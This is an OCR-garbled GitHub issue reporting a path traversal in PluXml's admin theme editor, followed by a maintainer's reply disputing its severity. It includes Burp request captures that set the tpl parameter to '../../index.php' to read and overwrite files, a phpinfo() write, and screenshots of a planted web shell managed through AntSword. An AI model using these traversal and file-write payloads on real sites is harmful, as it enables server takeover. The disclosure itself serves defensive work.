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In PluXml v5.8.16 or lower, after logging in
to the backend, there are any file
modifications that can cause a Trojan to be
written, causing RCE and posing a great
threat to the server. #829

) 4everwl opened this issue on Sep 12 - 4 comments

£ gﬁs 4everwl commented on Sep 12

‘&, Assignees

Software Link :https://github.com/pluxml/PluXml No one assigned
Website : https://pluxml.org/After
the installation is complete, log in as admin, open the

page

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants
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Request packet capture, try to modify the parameter
template to: ../../index.php

T80 6urp suiteProfessionsl v2.01Tbeta - Temporary Projec - icensed 1o surfensyz Bytianzhang - o x1
Burp Project fllit# Hk&% #il1 #ll
(et | b [ wikan [ meas [sivas [swmnms [orvets [ e [ nims [ s

| [0 | HT TPy ik | websocketyih: [ 5 |

reCAPTCHA | Ha |

/ http:/1127.0.0.1:89 i
Vowe [ ee | (EEED o ) y N76)

| [Raw] 2% [ % | Hex | Markinfo |

Accept-Encoding: gzip, deflate
Content-Type: application/x-www—form-ur |encoded
Content-Length: 3741

Origin: null
Connection: close
Cookie: _ xe_admin_gnb_tx_576776880ba079e08a6f9797739F840=0pen; __ xe_admin_gnb_tx_8 17d49154705932cbd=open;

__xe_admin_gnb_tx_8f46cffe6e695628036378e7b7ee8121=open; PHPSESSID=9rmodhrv2dalklu87pf13i0ets;

¢EM_AUTHCOOK IE_FhNAS3ui aiLh09V2ZOWYvo8CIMaUpn5p=1%40qa. coms7C0%7C941e9b3d247F20a3af61651949926488; elefant_update_checked=1;
elefant_last_page=k2F; elefant_user=fi9anosvs72ufpf jf6jm26dbom

Upgrade-Insecure-Requests: 1
dSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
)sec-Fetch-User: ?1

Priority: u=0, i

‘token=47LwOB2RJ IndQgu3cMfYUGExK j IXOhTt&temp | ate=header. php&|pad=Load&tp|=header. php&content=%3C%3Fphp%0D%0A f+%28%21def ined%28%27PLX_

RO0T%27%29%29+%7B%0D% i1%3B%0D! TT%28method_ex i sts%28%24p | xShow': 7authorL i st%27%29%29+%7B%0D%0A%09%24user s+
%3D+array_filter%28%0D%0A%09%09%24p | xShow—%3Ep | xMotor—%3EaUser s%: function%28%24 %29+%7B+return+h21empty%28%24user%5B%
27act i ve%27%5D%29+and+emp %5B%27de | ete%2’ D%0D! if%28count! $%29+%3E+1%29+%7B%0D%0A%
09%09def ine%28%27MULT | _USERS%27%2C+true%29% 7D%0D%0A%’ ntClass+%3D+%27content+col %27%3B%0D%0A f%28%21d
ef ined%28%27FULL_WIDTH%27%29%29+%7B%0D%0A%09%24contentClass+. %3D+%27+med-9%27%3B%0D" C%21D0CTYPE+htm | %3E%0D%0
1ang%3D%22%3C%3Fphp+%24p | aul tLang!28%29+% a+charset%3D¥: php+%24p
| xShow-%3Echar set%28%29%3B+%3F% % 09%3Cmetatr %3D% iewport%22+content%3D%22width%3Ddevice-width%2C+user-scalable%3Dye
s%2C+initial-scale%3D1. 0%22%3E%0D%0A%09%3Ct i t | e%3E%3C%3Fphp+%24p | xShow-%3EpageTit| title% %3C%3F php
A%09%24p | xShow-"%3Emeta_al |%28%29 %3E! 3C | ink+re|%3D% 1%22+href%3D" %3F%3D+%24p | xShow-%3EpagelUr | %28%29
+%3F%3E%22+%2F%3E%0D%0A%09%3C | i nk+re 1%3D0%22i con%22+hr e f%3D%22%3C%3F php+%24p | temp | ate%28%29%3B+%3F%3E%2F img%2F favicon. png%22+

%2F%3E%0D%0A%09%3C | ink+re%3D%22sty | esheet%22+href%30%22%3C%3Fphp+%24p | xShow-%3E temp | ate%28%29%3B+%3F%3E%2Fcssh2Fp lucss. css%3Fvh3D1. 3
. 1%22+med i a%3D%22screen’2Cpr i nt%22%2F%3E%0D%0A%09%3C | i nk+re|%30%22sty | esheet%22+href%30%22%3C%3Fphp+%24p | xShow-%3Etemp | ate%28%29%3B+% |v

12 EEE AL

What is returned at this time is the content of index.php.
We try to modify the file content.

QS  Download themes at hitps:/iressources pluxml.org.

B | | rome pp “ Save the file

PRy  Content

<7php
const PLX_ROOT ="/;
ESEN | const PLX_CORE = PLX_ROOT.'core/’;

riclel

include PLX_CORE . Ylb/config php';

#On verifie que PluXml est installé
f(file_exists(path(XMLFILE_PARAMETERSY) {
Profie header(Location:*. PLX_ROOT . install php);
exit,
Basc configuraion [l
Display seftings
#0n démarre a session
ESEREREY | i session_start();
havanced configuration
# Creation de lobjet principal et lancement du traitement
BRI | spixtiotor = pixiotor-getinstance();
Plugins
bl |2 Hook Plugins
[EAREER] | eval(Spixtotor->pixPlugins->callHook(Index);

OFFtE O

e

Theme edit «defaut»
Download themes at https://ressources. pluxml.org.
| home php v Save the file

PRy (Content

New artcle [ INCARUIENES

Basic configuration

User accounts
ivanced configuration
Themes

Plugins

Request packet capture and change the parameter tpl to:
./../Jindex.php


https://camo.githubusercontent.com/9c2d5da5336b8b08566f2a77a20655b48f83adce5155514f0565cea2aaa0ec58/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313930383539372e706e67
https://camo.githubusercontent.com/9c2d5da5336b8b08566f2a77a20655b48f83adce5155514f0565cea2aaa0ec58/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313930383539372e706e67
https://camo.githubusercontent.com/6d1a519d34f0552e5269e086d9b3aff65008c5c5a5212356cc71983cc1370c4b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313930393831322e706e67
https://camo.githubusercontent.com/6d1a519d34f0552e5269e086d9b3aff65008c5c5a5212356cc71983cc1370c4b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313930393831322e706e67
https://camo.githubusercontent.com/10a0e1b361dbdd796301f8a007da83156465b3c939a0b3aa8d4600a5dd1a3771/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931303735352e706e67
https://camo.githubusercontent.com/10a0e1b361dbdd796301f8a007da83156465b3c939a0b3aa8d4600a5dd1a3771/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931303735352e706e67

Burp Project flfid# Mk @l )

[ttt | s [ owikan [ domss [sivte | sisss [ it |00 | 5UR %51 | 17455 | reCAPTCHA | Hak |
| [0 [ HTTPy ik | WebSocketrish [t |

/ hitp:/i127.0.0.1:89 iR

Yme | re | [ w : v
b ( L

| [Raw [ £ [ 3 [Hex [ Markinto

POST /PluXml-master/core/admin/parametres_edittpl.php HTTP/1.1 8
Host: 127.0.0.1:89

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/png, image/svg+xml, */*;4=0.8
Accept-Language: zh-CN, zh;q=0. 8, zh-TW; g=0. 7, zh-HK; 4=0. 5, en-US; 6=0. 3, en;4=0. 2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www—form-ur |encoded

Content-Length: 131

Origin: null
Connection: close
Cookie: _ xe_admin_gnb_tx_576716880ba079e08a6f9F97739f840=0pen; __ xe_admin_gnb_tx_8 17449154 ;

__xe_admin_gnb_tx_8f46cf fe6e695628036378e7b7ee8121=open; PHPSESSID=9rmodhrv2dalk [u87pf13i0et5;

EN_AUTHCOOK | E_FhN4S3ui ai Lh09V2ZOWYvo8C IMalpn5p=1%40aq. com7C0%7C941e9b3d24720a3af 61651949926488; elefant_update_checked=1;
elefant_last_page=4¥2F; elefant_user=fi9ano5vs72ufpfjféjm26dbem

Upgrade-Insecure—Requests: 1

Sec-Fetch-Dest: document.

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: 21

Priority: u=0, i

" token=23Yd5wSRsD | pEgy | bBO7A4fFOLTUcevZ&temp | ate=home. php&submi t=Save+the+fi | g&tp /.. /index. php&ontent=%3C%3Fphp+phpinfo%28%29%3B%
3F%3E

o &R

Successful echo.

O D 127001

system Windows NT 4EVERUP 10,0 bild 22000 (Windows 10) AMDGA

Build Date Feb 18 2020172322

Compler Visus G+ 2017

Architecture ot

Configure Command iot ol ot
TRt : i e
enabie-cam-dot vithoutanslyoar “ith pos

Server A1 CoFastcal

Virtua Direcory Support dabled

Configuration File (phpin Path CaWindows

Loaded Configuration ile D1 toohhpstudy,pro\Extensions\php\php? A 3nts\phpird

Scan tisdir for additional in iles (none)

‘Additional Jn il parsed (none)

PP AP 20150502

PHP Extension 20150502
320190502

id

Debug Build w

Thread safety diabled

Zend signal Handiing diabled

Zend Memory Manager B

Zend Multibyte support A

196 Support ensbled

Dace support disabled

Registered PHP Streams oh, fle, glob, data,htp p,ip, compressal, compress i, itps,tps, phar

Tansports cp,udp, st 1.0, ov11, tov1 2, tv1 3

Write Trojan.

Burp Project dfii# &% 0 i
[ctesn | s [ ] vikss [ @ [sierise | samass [ xitt [ #eFy e | SUAI5 | 1743 | reCAPTCHA | Hak |

i [ HT TPy itk | WebSocketyss it [ £ |
e © s

" & Ntpii127.0.0.1:89
Theme edit «defaut» — P Tmr=rrm
{10 ] Raw] [ 3 | Hex | Markinto |
POST /PluXml-master/core/admin/parametres_edittpl. php HTTP/1.1
Host: 127.0.0.1:89
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/htnl, appl ication/xhtml +xml, app! ication/uml ;q=0.9, inage/avif, inage/webp, inage/png, image/svgml, */%;=0. 8

LRE

Accept-Language: zh-CN, 8, zh~TH;6=0. 7, zh-HK; 6=0. 5, en-US;=0. 3, en;¢=0. 2
» Accept-Encoding: gzip, deflate
SRBEED Gontent-Type: app! ication/x-wm—Form-ur lencoded
Comments Content-Length: 143
. Origin: null

Connection: close

okie: _xe_admin_gnb_tx £ pen; _ xe_admin_gnb_tx ¢
__xe_adnin_gnb_tx_ ; 3i0et5;
EM_AUTHCOOK E_FhN4S3uiail} ; elefant_update_checl

elefant_last_page=42F; elefant_user=fi9anoSvs72ufpf if6jn26dbom
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: dooument

Advanced configurar Sec-Fetch-lode: navigate

Sec-Fetch-Site: same-origin

Seo-Fetoh-User: 71

Priority: u=0, i

token=KLcliBk
Ba%SD429%3BHIFAIE

get shell.


https://camo.githubusercontent.com/b3d9f0ec10283bb3852163b0b202bf342af0e5d3c2a22e9b8506e6486760bd1b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931313537302e706e67
https://camo.githubusercontent.com/b3d9f0ec10283bb3852163b0b202bf342af0e5d3c2a22e9b8506e6486760bd1b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931313537302e706e67
https://camo.githubusercontent.com/4348cfc786ef71bc42544357f8ea27e3c8c5134b3d8d1466c1d8aa31bd227735/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931323838302e706e67
https://camo.githubusercontent.com/4348cfc786ef71bc42544357f8ea27e3c8c5134b3d8d1466c1d8aa31bd227735/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931323838302e706e67
https://camo.githubusercontent.com/0f9fc94be4fa72bc1066d1a73513fc9cc5f61a2f4bdb282ce55e911becd56c58/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931333732332e706e67
https://camo.githubusercontent.com/0f9fc94be4fa72bc1066d1a73513fc9cc5f61a2f4bdb282ce55e911becd56c58/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931333732332e706e67

@ mEs
Antsword @5 B0 @R

09| mimna > 127.0.0.1
O BRI (8) < OxeiIEQ7)
M c/ oz - ALE D:/2_tool/phpstudy_pro/WWw2/PluXml-master/ >iEE
ST P B Bt
=7 a_tool
& phpstudy.pro [ .github 2024-08-12 17:54:30 0b 0777
L www2 O .idea 2024-00-12 18:50:44 akb 0777
& P [ PlaXmi-master 0 core 2024-09-12 17:54:30 4Kb 0777
M github O data 2024-09-12 17:54:48 4Kb 0777
. idea O plugins 2024-09-12 17:54:31 ob 0777
M core O readme 2024-09-12 17:54:31 0b 0777
fu dat [ themes 2024-09-12 17:54:31 b 0777
B plugrns [ update 2024-09-12 17:54:31 8 Kb 0777
M readme
M themes [ -gtignore 2024-05-10 21:52:09 127b 0666
M updte [ ucense 2024-05-10 21:52:09 34.33 kb 0666
(3 ReADME.md 2024-05-10 21:52:09 2.32kb 0666
config.php 2024-05-10 21:52:09 53b 0666
feed.php 2024-05-10 21:52:09 Lakb 0666
index.php 2024-00-12 19:14:05 24b 0666
index2.php 2024-09-12 18:55:15 18b 0666
install.php 2024-05-10 21:52:09 13.34 kb 0666
sitemap.php 2024-05-10 21:52:09 3.55Kb 0666
=S “
-
@
AntSword R BHO S
‘ 0127.00.1 > 127.0.0.1 >

4

_github
127 .gitignore

<DIR>

BF 30,804,5

D:\a_tool\phpstudy_pro\WW2\PluXal-master>

The cause of this vulnerability is that $filename is not
strictly judged in the project's
core/admin/parametres_edittpl.php, which allows users to
splice paths to read and modify arbitrary files.

gcyrillus commented 2 weeks ago *
edited ~

Contributor

That is not a trouble, why would an administrator load a
trojan in its own site ? Are you of that kind yourself ?

If we follow your way of thinking, the whole
administration itself is dangerous, hey, i can add a new
article and even configure the CMS as I wish !


https://camo.githubusercontent.com/8fec9a4339dd63a382d2b97899762fa650869f60dfc78b1d23f5b725bf919cb5/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931343132302e706e67
https://camo.githubusercontent.com/8fec9a4339dd63a382d2b97899762fa650869f60dfc78b1d23f5b725bf919cb5/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931343132302e706e67
https://camo.githubusercontent.com/a3618cc14b09e9831e193046e89e4a5f006fcf953e267d2d1da77ac3843fc06b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313932343237332e706e67
https://camo.githubusercontent.com/a3618cc14b09e9831e193046e89e4a5f006fcf953e267d2d1da77ac3843fc06b/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313932343237332e706e67
https://camo.githubusercontent.com/80da27bc11366bba48fbefd5874ce9a0e7888d413c44b22bcad80e2fd3d33b05/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931393633312e706e67
https://camo.githubusercontent.com/80da27bc11366bba48fbefd5874ce9a0e7888d413c44b22bcad80e2fd3d33b05/68747470733a2f2f666f7265766572776c776c2e6f73732d636e2d6265696a696e672e616c6979756e63732e636f6d2f7479706f72612f3230323430393132313931393633312e706e67
https://github.com/gcyrillus
https://github.com/gcyrillus

4everwl commented 2 weeks ago Author

What I mean is that after logging in, the attacker obtains
the login backend of the website and can use social
workers or weak passwords to take down the website
shell

gcyrillus commented 2 weeks ago Contributor

okay, i understand but this is not specific to PluXml and
why the administrator would do such a thing? If the issue
is about a weak password, again this is not PluXml, but the
USER. Or like i like to say, that weird thing standing in
betwwen the chair and the keyboard ;)

There is a plugin that can make it harder to login, even
with a weak password :
https://kazimentou.fr/repo/index.php?
plugin=kzOtPHP&download

But however , if both datas are stolen, or lost then found,
there is nothing to be done to avoid someone else to log
in. It can actually happen to any digital account one has. If
i'm wrong or missed something, do not hesitate to tell me
and forget my misunderstanding :)

4everwl commented 2 weeks ago Author

OK, I understand. I think this Theme edit function should
only be able to edit Theme files, not be able to modify
other files across levels.


https://github.com/4everwl
https://github.com/gcyrillus
https://kazimentou.fr/repo/index.php?plugin=kzOtPHP&download
https://kazimentou.fr/repo/index.php?plugin=kzOtPHP&download
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https://github.com/4everwl
https://github.com/gcyrillus
https://github.com/4everwl

